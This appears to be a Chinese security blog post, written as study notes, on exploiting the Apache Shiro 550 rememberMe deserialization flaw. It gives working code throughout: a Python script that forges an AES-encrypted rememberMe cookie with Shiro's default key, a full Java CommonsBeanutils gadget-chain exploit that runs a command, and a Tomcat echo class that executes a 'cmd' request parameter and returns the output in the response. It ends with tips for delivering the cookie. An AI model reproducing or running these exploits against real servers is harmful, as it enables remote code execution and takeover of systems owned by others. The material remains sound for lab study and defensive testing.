1 2 3 4 5 6 7 8 9 10 11 12 13 14 import  base64from  Crypto.Cipher import  AES  with  open (r"F:\code\java_file\ser\ser.bin" ,"rb" ) as  f:    byte_POC = f.read()     BS = AES.block_size     pad = lambda  s: s + ((BS - len (s) % BS) * chr (BS - len (s) % BS)).encode()     key = "kPH+bIxk5D2deZiIxcaaaA=="      mode = AES.MODE_CBC     iv = b' '  * 16      encryptor = AES.new(base64.b64decode(key), mode, iv)     file_body = pad(byte_POC)     base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))     print ("rememberMe={}" .format (base64_ciphertext.decode())) 
 
yso 中的链子打不通是因为 yso 中 cb 版本为 1.9,而 shiro 自带为 1.8.3
服务端会显示报错:
org.apache.commons.beanutils.BeanComparator; local class incompatible: stream classdesc serialVersionUID = -2044202215314119608, local class serialVersionUID = -3490850999041592962
 
如果两个不同版本的库使用了同一个类,而这两个类可能有一些方法和属性有了变化,此时在序列化通信的时候就可能因为不兼容导致出现隐患。因此,Java在反序列化的时候提供了一个机制,序列化时会根据固定算法计算出一个当前类的 serialVersionUID 值,写入数据流中;反序列化时,如果发现对方的环境中这个类计算出的 serialVersionUID 不同,则反序列化就会异常退出,避免后续的未知隐患。
Commons Collections依赖问题
服务端报错:
Unable to load class named [org.apache.commons.collections.comparators.ComparableComparator]
 
简单来说就是没找到 org.apache.commons.collections.comparators.ComparableComparator 类,从包名即可看出,这个类是来自于commons-collections。
commons-beanutils本来依赖于commons-collections,但是在Shiro中,它的commons-beanutils虽然包含了一部分commons-collections的类,但却不全。这也导致,正常使用Shiro的时候不需要依赖于commons-collections,但反序列化利用的时候需要依赖于commons-collections。
我们先来看看 org.apache.commons.collections.comparators.ComparableComparator 这个类在哪里使用了:
在 BeanComparator 类的构造函数处,当没有显式传入 Comparator 的情况下,则默认使用 ComparableComparator 。
既然此时没有 ComparableComparator ,我们需要找到一个类来替换,它满足下面这几个条件:
实现 java.util.Comparator 接口 
实现 java.io.Serializable 接口 
Java、shiro或commons-beanutils自带,且兼容性强 
 
通过IDEA的功能,我们找到一个 CaseInsensitiveComparator。这个 CaseInsensitiveComparator 类是 java.lang.String 类下的一个内部私有类,其实现了Comparator和Serializable` ,且位于Java的核心代码中,兼容性强,是一个完美替代品。
我们通过 String.CASE_INSENSITIVE_ORDER 即可拿到上下文中的 CaseInsensitiveComparator 对象,用它来实例化 BeanComparator :
1 final BeanComparator comparator = new BeanComparator(null,String.CASE_INSENSITIVE_ORDER); 
 
最终exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 package  org.example;import  com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import  com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import  javassist.ClassPool;import  javassist.CtClass;import  javassist.CtConstructor;import  org.apache.commons.beanutils.BeanComparator;import  java.io.ObjectInputStream;import  java.io.ObjectOutputStream;import  java.lang.reflect.Field;import  java.nio.file.Files;import  java.nio.file.Paths;import  java.util.PriorityQueue;public  class  shiro550_cb  {    public  static  void  main (String[] args)  throws  Exception {         System.out.println("Hello world!" );         TemplatesImpl  templates  =  getTemplatesImple();         final  BeanComparator  comparator  =  new  BeanComparator (null ,String.CASE_INSENSITIVE_ORDER);         final  PriorityQueue<Object> queue = new  PriorityQueue <Object>(2 , comparator);         queue.add("1" );         queue.add("1" );         setFieldValue(comparator, "property" , "outputProperties" );         setFieldValue(queue, "queue" , new  Object []{templates, templates});         serialize(queue);         unserialize("ser.bin" );     }     public  static  void  serialize (Object o) throws  Exception{         ObjectOutputStream  out  =  new  ObjectOutputStream (Files.newOutputStream(Paths.get("ser.bin" )));         out.writeObject(o);     }     public  static  void  unserialize (String name) throws  Exception{         ObjectInputStream  in  =  new  ObjectInputStream (Files.newInputStream(Paths.get(name)));         in.readObject();     }     public  static  TemplatesImpl getTemplatesImple () throws  Exception{         TemplatesImpl  templates  =  new  TemplatesImpl ();         setFieldValue(templates, "_name" , "Hello" );         setFieldValue(templates, "_bytecodes" , new  byte [][]{getEvilBytes()});         setFieldValue(templates, "_tfactory" , new  TransformerFactoryImpl ());         return  templates;     }     public  static  void  setFieldValue (Object obj, String field, Object val)  throws  Exception{         Field  dField  =  obj.getClass().getDeclaredField(field);         dField.setAccessible(true );         dField.set(obj, val);     }     public  static  byte [] getEvilBytes()throws  Exception{         ClassPool  classPool  =  ClassPool.getDefault();         CtClass  dynamicClass  =  classPool.makeClass("EvilAbstractTranslet" );         CtClass  abstractTranslet  =  classPool.getCtClass("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet" );         dynamicClass.setSuperclass(abstractTranslet);         CtConstructor  ctConstructor  =  new  CtConstructor (new  CtClass []{},dynamicClass);         ctConstructor.setBody("java.lang.Runtime.getRuntime().exec(new String[]{\"calc\"});" );         dynamicClass.addConstructor(ctConstructor);         byte [] bytes = dynamicClass.toBytecode();         dynamicClass.detach();         return  bytes;     } } 
 
内存马注入及回显 tianxiadamutou ‘s blog 暂且搁置,之后到内存马再回来;
我们简单的分析了 Shiro 550 漏洞的成因,同时学习了 l1nk3r  师傅提出的 shiro 检测,目前很多shiro的利用都是选择 dnslog 带出,直接盲打等操作,那么如果 shiro 在不出网的情况下,那么将结果外带这条路是走不通的,盲打的话我们也不能保证我们使用的链存在,只能通过时延来确定我们的命令是否执行成功,所以这上面的这些情况下,回显似乎是反序列化漏洞中最好的一种解决方案,所以本文就来学习一下 Litch1 师傅提出的 Tomcat 的一种通用回显示的思路,同时借着 shiro 我们来进行内存马的注入的学习
但是由于 tomcat 7 结构不同,所以导致本方法会拿不到我们想要的结果
Shiro自身利用链以及更通用的Tomcat回显方案 https://www.yuque.com/tianxiadamutou/zcfd4v/bea7gi 
https://github.com/KpLi0rn/ShiroVulnEnv  //Shiro漏洞环境
上一篇文中利用的是 cc11 作为 Gadget 进行注入,但是 cc 毕竟需要利用额外的依赖 CommonsCollections ,所以最理想的情况就是寻找一条 Shiro 自带的 Gadget ,至此 p 神前几天在知识星球中提出了 CommonsBeanutils 与无 CommonsCollections 的 Shiro 反序列化利用
同时在上篇文章中利用的 Tomcat 通用回显仍然存在一些缺憾,也就是在 Tomcat 7 下由于结构问题导致无法获取到上下文中的 StandardContext ,但是后面在查看 j1anFen  师傅的 shiro_attack 工具的源码时,发现 j1anFen 师傅在工具中利用了一条全新的链,经测试发现在 Tomcat 7 中仍然适用,所以本篇文章来学习一下这条利用链
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 import  com.sun.org.apache.xalan.internal.xsltc.DOM;import  com.sun.org.apache.xalan.internal.xsltc.TransletException;import  com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import  com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import  com.sun.org.apache.xml.internal.serializer.SerializationHandler;import  org.apache.catalina.connector.Response;import  org.apache.coyote.Request;import  org.apache.coyote.RequestInfo;import  java.io.InputStream;import  java.io.Writer;import  java.lang.reflect.Field;import  java.util.List;public  class  TomcatEcho  extends  AbstractTranslet  {    static  {         try  {             boolean  flag  =  false ;             Thread[] threads = (Thread[]) getField(Thread.currentThread().getThreadGroup(),"threads" );             for  (int  i=0 ;i<threads.length;i++){                 Thread  thread  =  threads[i];                 if  (thread != null ){                     String  threadName  =  thread.getName();                     if  (!threadName.contains("exec" ) && threadName.contains("http" )){                         Object  target  =  getField(thread,"target" );                         Object  global  =  null ;                         if  (target instanceof  Runnable){                                                                                       try  {                                 global = getField(getField(getField(target,"this$0" ),"handler" ),"global" );                             } catch  (NoSuchFieldException fieldException){                                 fieldException.printStackTrace();                             }                         }                                                  if  (global != null ){                             List  processors  =  (List) getField(global,"processors" );                             for  (i=0 ;i<processors.size();i++){                                 RequestInfo  requestInfo  =  (RequestInfo) processors.get(i);                                 if  (requestInfo != null ){                                     Request  tempRequest  =  (Request) getField(requestInfo,"req" );                                     org.apache.catalina.connector.Request  request  =  (org.apache.catalina.connector.Request) tempRequest.getNote(1 );                                     Response  response  =  request.getResponse();                                     String  cmd  =  null ;                                     if  (request.getParameter("cmd" ) != null ){                                         cmd =  request.getParameter("cmd" );                                     }                                     if  (cmd != null ){                                         System.out.println(cmd);                                         InputStream  inputStream  =  new  ProcessBuilder (cmd).start().getInputStream();                                         StringBuilder  sb  =  new  StringBuilder ("" );                                         byte [] bytes = new  byte [1024 ];                                         int  n  =  0  ;                                         while  ((n=inputStream.read(bytes)) != -1 ){                                             sb.append(new  String (bytes,0 ,n));                                         }                                         Writer  writer  =  response.getWriter();                                         writer.write(sb.toString());                                         writer.flush();                                         inputStream.close();                                         System.out.println("success" );                                         flag = true ;                                         break ;                                     }                                     if  (flag){                                         break ;                                     }                                 }                             }                         }                     }                 }                 if  (flag){                     break ;                 }             }         } catch  (Exception e){             e.printStackTrace();         }     }     public  static  Object getField (Object obj, String fieldName)  throws  Exception {         Field  f0  =  null ;         Class  clas  =  obj.getClass();         while  (clas != Object.class){             try  {                 f0 = clas.getDeclaredField(fieldName);                 break ;             } catch  (NoSuchFieldException e){                 clas = clas.getSuperclass();             }         }         if  (f0 != null ){             f0.setAccessible(true );             return  f0.get(obj);         }else  {             throw  new  NoSuchFieldException (fieldName);         }     }     @Override      public  void  transform (DOM document, SerializationHandler[] handlers)  throws  TransletException {     }     @Override      public  void  transform (DOM document, DTMAxisIterator iterator, SerializationHandler handler)  throws  TransletException {     } } 
 
https://github.com/KpLi0rn/ShiroVulnEnv/tree/main/src/test/java 
注意点!!! 
将 AES 加密出来的编码替换包中的 RememberMe Cookie,将 JSESSIONID 删掉,因为当存在 JSESSIONID 时,会忽略 rememberMe。 
yso 中的链子打不通是因为 yso 中 cb 版本为 1.9,而 shiro 自带为 1.8.3